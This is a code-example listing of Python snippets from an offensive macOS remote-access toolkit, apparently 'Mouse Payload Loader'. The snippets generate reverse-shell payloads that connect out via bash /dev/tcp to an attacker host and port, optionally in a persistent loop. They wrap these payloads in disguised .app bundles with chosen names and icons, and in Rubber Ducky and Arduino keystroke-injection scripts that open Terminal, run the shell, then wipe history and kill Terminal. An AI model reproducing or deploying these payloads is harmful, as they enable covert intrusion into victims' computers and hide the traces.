Ejemplo n.º 1
0
 def choose_payload(self):
     print(h.WHITE+"-"*40+h.ENDC)
     print("Payloads:\n")
     number_option = 1
     for key in self.payloads:
         payload = self.payloads[key]
         self.print_payload(payload,number_option)
         number_option += 1
     print("")
     while 1:
         try:
             # choose payload
             option = input(h.info_general_raw("Choose an payload> "))
             if not option:
               continue
             selected_payload = self.payloads[list(self.payloads.keys())[int(option) - 1]]
             # set host and port
             self.server.set_host_port()
             # generate payload
             selected_payload.run(self.server)
             #run
             self.prompt_run_server()
             break
         except KeyboardInterrupt:
             break
         except Exception as e:
             print(e)
             break
Ejemplo n.º 2
0
    def choose_payload(self):
        print h.WHITE + "-" * 40 + h.ENDC
        print "Payload:\n"
        number_option = 1
        for key in self.payloads:
            payload = self.payloads[key]
            self.print_payload(payload, number_option)
            number_option += 1
        print ""
        while 1:
            try:
                # choose payload
                option = raw_input(h.info_general_raw(" '1' To Proceed --> "))
                if not option:
                    continue
                selected_payload = self.payloads[self.payloads.keys()[
                    int(option) - 1]]

                server.set_host_port()

                selected_payload.run(server)

                self.prompt_run_server()
                break
            except KeyboardInterrupt:
                print "Damn!!"
                break
            except Exception as e:
                print e
                break
Ejemplo n.º 3
0
    def run(self, server):
        while 1:
            name = raw_input(h.info_general_raw("Application Name> "))
            icon = raw_input(h.info_general_raw("Application Icon> "))
            persistence = raw_input(
                h.info_general_raw("Make Persistent? (y/N): ")).lower()
            if persistence == "y":
                shell_command = "while true; do $(bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            elif persistence == "n" or not persistence:
                shell_command = "bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
            else:
                h.info_error("invalid option: " + persistence)

        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/macos_application") == False:
            os.mkdir("payloads/macos_application")
            os.system("""
cp -r resources/payload.app payloads/macos_application
mv payloads/macos_application/payload.app payloads/macos_application/""" +
                      name + """.app
mv """ + icon + """ payloads/macos_application/""" + name +
                      """.app/Contents/Resources/payload.icns
                        """)
        payload_save_path = "payloads/macos_application/" + name + ".app/Contents/MacOS/payload.sh"
        sas = "payloads/macos_application/" + name + ".app"
        payload = """\
#! /usr/bin/env bash
""" + shell_command + """
                """
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + sas)
        os.system("chmod +x payloads/macos_application/" + name +
                  ".app/Contents/MacOS/payload.sh")
Ejemplo n.º 4
0
    def choose_payload(self):
        os.system("clear")
        print(
            h.ENDC + """
         _     __,..---""-._                 ';-,
  ,    _/_),-"`             '-.                `\\\\
 \|.-"`    -_)                 '.                ||
 /`   a   ,                      \              .'/
 '.___,__/                 .-'    \_        _.-'.'
    |\  \      \         /`        _`------`_.-'
       _/;--._, >        |   --.__/ `------`
     (((-'  __//`'-......-;\      )
          (((-'       __//  '--. /   mouse/MPL
                    (((-'    __//
                           (((-'
""" + h.WHITE + "Mouse Payload Loader" + h.GREEN_THIN + " v1.6" + h.WHITE +
            "\nDeveloped by Entynetproject" + h.ENDC)
        print(h.WHITE + "-" * 27)
        print("")
        number_option = 1
        for key in self.payloads:
            payload = self.payloads[key]
            self.print_payload(payload, number_option)
            number_option += 1
        print ""
        while 1:
            try:
                # choose payload
                option = raw_input(h.info_general_raw("Choose Payload> "))
                if not option:
                    continue
                selected_payload = self.payloads[self.payloads.keys()[
                    int(option) - 1]]
                # set host and port
                self.server.set_host_port()
                # generate payload
                selected_payload.run(self.server)
                #run
                self.prompt_run_server()
                break
            except KeyboardInterrupt:
                break
            except Exception as e:
                print e
                break
Ejemplo n.º 5
0
    def run(self, server):
        while 1:
            persistence = raw_input(
                h.info_general_raw("Make Persistent? (y/N): ")).lower()
            if persistence == "y":
                shell_command = "while true; do $(bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                shell_clean = "history -wc;killall Terminal"
                break
            elif persistence == "n" or not persistence:
                shell_command = "bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                shell_clean = "history -wc;killall Terminal"
                break
            else:
                h.info_error("invalid option: " + persistence)

        shell_command += "history -wc;killall Terminal"
        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/rubber_duck") == False:
            os.mkdir("payloads/rubber_duck")
        payload_save_path = "payloads/rubber_duck/payload.txt"
        payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """ + shell_command + """
DELAY 500
ENTER
DELAY 500
"""
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + payload_save_path)
Ejemplo n.º 6
0
    def run(self, server):
        while 1:
            persistence = raw_input(
                h.info_general_raw("Make Persistent? (y/N): ")).lower()
            if persistence == "y":
                shell_command = "while true; do $(bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            elif persistence == "n" or not persistence:
                shell_command = "bash &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
            else:
                h.info_error("invalid option: " + persistence)

        shell_command += "history -wc;killall Terminal"
        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/entynet_pi") == False:
            os.mkdir("payloads/entynet_pi")
        payload_save_path = "payloads/entynet_pi/payload.ino"
        payload = """\
#include "Keyboard.h"
const int LED = 13;
void setup() {
	pinMode(LED, OUTPUT);
	Serial.begin(9600);
	delay(1000); //delay to establish connection
	Keyboard.set_modifier(MODIFIERKEY_GUI);
	Keyboard.set_key1(KEY_SPACE);
	Keyboard.send_now();
	Keyboard.set_modifier(0);
	Keyboard.set_key1(0);
	Keyboard.send_now();
	delay(200);
	Keyboard.print("terminal");
	delay(1000);
	keyEnter();
	delay(1000);
	Keyboard.print(\"""" + shell_command + """\");
	keyEnter();
}

void keyEnter() {
	Keyboard.set_key1(KEY_ENTER);
	Keyboard.send_now();
	//release
	Keyboard.set_key1(0);
	Keyboard.send_now();
}

void loop() {
	digitalWrite(LED, HIGH);
	delay(100);
	digitalWrite(LED, LOW);
	delay(100);
}"""
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + payload_save_path)
Ejemplo n.º 7
0
 def get_handle(self):
     """Interact with an active session"""
     if self.needs_refresh:
         return h.info_general_raw("Waiting for connection...")
     return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC
Ejemplo n.º 8
0
 def get_handle(self):
     """Interact With An Active Session!"""
     if self.needs_refresh:
         return h.info_general_raw("Waiting For Connection To Establish...")
     return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC